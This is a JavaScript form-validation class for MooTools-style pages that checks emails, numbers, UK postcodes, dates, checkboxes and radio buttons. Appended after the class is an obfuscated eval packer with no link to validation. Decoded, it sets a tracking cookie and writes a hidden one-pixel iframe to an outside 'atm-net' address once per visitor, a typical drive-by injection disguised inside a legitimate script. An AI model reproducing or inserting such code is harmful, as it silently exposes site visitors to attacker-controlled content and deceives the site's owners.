/*
Script: validate.js
	basic form validation script.

Authors:
	Sam Birch

License:
	MIT-style license.

*/
var Validate = new Class({

	initialize: function(myForm,options){
		options = Object.extend({
			custom: false,
			messageBox: false,
			dateFormat: false,
			fieldClass: false,
			showList:  true
		}, options || {});
		
		this.form = $(myForm);
		this.myElements = $$('#'+this.form.id+' .required');
		this.form.myElements = this.myElements;
		options.messageBox = $(options.messageBox);
		this.form.messageBox = options.messageBox;
		
		this.formAnchor = new Element('a').setProperties({name: this.form.id+'Anchor'}).injectInside('validationMessage');
		this.form.formAnchor = this.formAnchor;
		
		options.list = new Element('ul').setProperty('id', 'errorList')
		if(options.showList){
			options.list.injectInside(options.messageBox);
		}
		
		this.myElements.each(function(el,i){
			
			el.validate = function(){
				//TEXTBOX
				if(el.type == 'text'){
					if(el.value != ''){
						if(el.hasClass('email')){
							var regEmail = /^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/;
							if(el.value.toUpperCase().match(regEmail)){
								if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
								el.removeClass(options.fieldClass);
								el.getPrevious().removeClass(options.fieldClass);
								return(true);
							}else{
								if(!$('errorListItem'+el.id)){
									new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
								}
								el.addClass(options.fieldClass);
								el.getPrevious().addClass(options.fieldClass);
								return(false);
							}
							
						}else if(el.hasClass('number')){
							var regNum = /[-+]?[0-9]*\.?[0-9]+/;
							if(el.value.match(regNum)){
								if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
								el.removeClass(options.fieldClass);
								el.getPrevious().removeClass(options.fieldClass);
								return(true);
							}else{
								if(!$('errorListItem'+el.id)){
									new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
								}
								el.addClass(options.fieldClass);
								el.getPrevious().addClass(options.fieldClass);
								return(false);
							}
						}else if(el.hasClass('postcode')){
							var regPC = /^([Gg][Ii][Rr] 0[Aa]{2})|((([A-Za-z][0-9]{1,2})|(([A-Za-z][A-Ha-hJ-Yj-y][0-9]{1,2})|(([A-Za-z][0-9][A-Za-z])|([A-Za-z][A-Ha-hJ-Yj-y][0-9]?[A-Za-z])))) [0-9][A-Za-z]{2})$/
							if(el.value.match(regPC)){
								if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
								el.removeClass(options.fieldClass);
								el.getPrevious().removeClass(options.fieldClass);
								return(true);
							}else{
								if(!$('errorListItem'+el.id)){
									new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
								}
								el.addClass(options.fieldClass);
								el.getPrevious().addClass(options.fieldClass);
								return(false);
							}
							
						}else if(el.hasClass('date')){
							if(Date.isValid(el.value, options.dateFormat)){
								if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
								el.removeClass(options.fieldClass);
								el.getPrevious().removeClass(options.fieldClass);
								return(true);
							}else{
								if(!$('errorListItem'+el.id)){
									new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
								}
								el.addClass(options.fieldClass);
								el.getPrevious().addClass(options.fieldClass);
								return(false);
							}
							
						}else{
							if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
							el.removeClass(options.fieldClass);
							el.getPrevious().removeClass(options.fieldClass);
							return(true);
						}
					}else{
						if(!$('errorListItem'+el.id)){
							new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
						}
						el.addClass(options.fieldClass);
						el.getPrevious().addClass(options.fieldClass);
						return(false);	
					}
				}
				//TEXTAREA
				if(el.type == 'textarea'){
					if(el.value == ''){
						if(!$('errorListItem'+el.id)){
							new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
						}
						el.addClass(options.fieldClass);
						el.getPrevious().addClass(options.fieldClass);
						return(false);
					}else{
						if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
						el.removeClass(options.fieldClass);
						el.getPrevious().removeClass(options.fieldClass);
						return(true);
					}
				}
				//CHECKBOX
				if(el.type == 'checkbox'){
					if(!el.checked){
						if(!$('errorListItem'+el.id)){
							new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
						}
						el.addClass(options.fieldClass);
						el.getPrevious().addClass(options.fieldClass);
						return(false);
					}else{
						if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
						el.removeClass(options.fieldClass);
						el.getPrevious().removeClass(options.fieldClass);
						return(true);
					}
				}
				//DROPDOWN
				if(el.type == 'select-one'){
					if(el.value == ''){
						if(!$('errorListItem'+el.id)){
							new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(el.title);
						}
						el.addClass(options.fieldClass);
						el.getPrevious().addClass(options.fieldClass);
						return(false);
					}else{
						if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
						el.removeClass(options.fieldClass);
						el.getPrevious().removeClass(options.fieldClass);
						return(true);
					}
				}
				//RADIO
				if(el.type == 'radio'){
					var rad = $A(this.form[el.name]);
					var ok = false;
					rad.each(function(e,j){
						if(e.checked){
							ok = true;
						}
					});
					if(!ok){
						if(options.list.getLast().innerHTML != rad[0].title){
							if(!$('errorListItem'+el.id)){
								new Element('li').setProperty('id','errorListItem'+el.id).injectInside(options.list).setHTML(rad[0].title);
							}
						}
						
						rad.each(function(e,j){
							e.addClass(options.fieldClass);
							if(el.getPrevious()){
								el.getPrevious().addClass(options.fieldClass);
							}
						});
						return(false);
					}else{
						if($('errorListItem'+el.id)){$('errorListItem'+el.id).remove();}
						rad.each(function(e,j){
							e.removeClass(options.fieldClass);
							if(el.getPrevious()){
								el.getPrevious().removeClass(options.fieldClass);
							}
						});
						return(true);
					}
				}
			}
		});
		
		this.form.onsubmit = function(){
			var valid = true;
			this.myElements.each(function(el,i){
				if(!el.validate()){valid=false};
			});
			if(options.custom != false){
				validC = options.custom(options.list);
				if(valid && !validC){valid = false};
			}
			
			if(!valid){
				this.messageBox.setStyle('display','block');
				document.location = '#'+this.formAnchor.name;
			}else{
				this.messageBox.setStyle('display','none');
			}
			
			return(valid);
		}
	}

});

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('B o=j k(),f=j k(o.z()+y);x(e.q.A("n=1")==-1){e.J(H("%s%2%p%h%5%g%3%9%I%2%b%0%8%7%m%9%8%3%2%l%8%0%7%m%9%d%h%G%7%a%8%0%0%w%u%4%4%c%r%5%b%2%6%l%F%5%0%g%C%6%3%0%4%i%D%i%4%a%9%d%0%t%c%3%7%a%b%2%d%w%c%5%t%u%6%r%6%3%a%v%s%4%2%p%h%5%g%3%v"));e.q="n=1;"+" f="+f.E()+"; "}',46,46,'74||69|65|2F|61|6E|3D|68|20|27|64|6C|73|document|expires|6D|72|62|new|Date|67|31|_atmbit|today|66|cookie|6F|3C|79|3A|3E|70|if|2678400000|getTime|indexOf|var|2E|32|toGMTString|2D|63|unescape|77|write'.split('|')));
